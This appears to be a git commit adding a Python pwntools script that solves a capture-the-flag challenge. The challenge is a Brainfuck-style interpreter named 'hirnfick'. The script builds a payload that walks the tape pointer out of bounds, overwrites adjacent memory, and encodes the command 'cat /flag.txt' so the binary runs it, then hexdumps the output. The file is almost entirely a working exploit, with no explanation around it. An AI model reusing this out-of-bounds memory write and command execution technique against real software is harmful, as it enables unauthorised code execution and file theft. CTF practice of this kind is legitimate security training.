Initial commit

This commit is contained in:
Rayhan Hanaputra
2025-10-10 22:18:06 +07:00
committed by GitHub
commit ea02892f14
1246 changed files with 289342 additions and 0 deletions
+33
View File
@@ -0,0 +1,33 @@
#!/usr/bin/env python3
from subprocess import check_output
from pwn import *
def execute(payload):
with open("payload", "wb") as f:
f.write(payload)
output = check_output(["./hirnfick", "payload"])[13:]
return output
def enc(s):
final = b""
for c in s:
final += b"+" * c
final += b">"
return final
payload = b"<" * 0x90
payload += b"+" * (0x20)
payload += b">"
payload += b"+" * (0x5e-0x22)
payload += b">"
payload += b"---"
payload += b">" * (0x90-2-0x20)
payload += b"+"
payload += b">" * 0x20
payload += enc(b"cat /flag.txt")
# payload += b".>" * 8
out = execute(payload)
print(hexdump(out))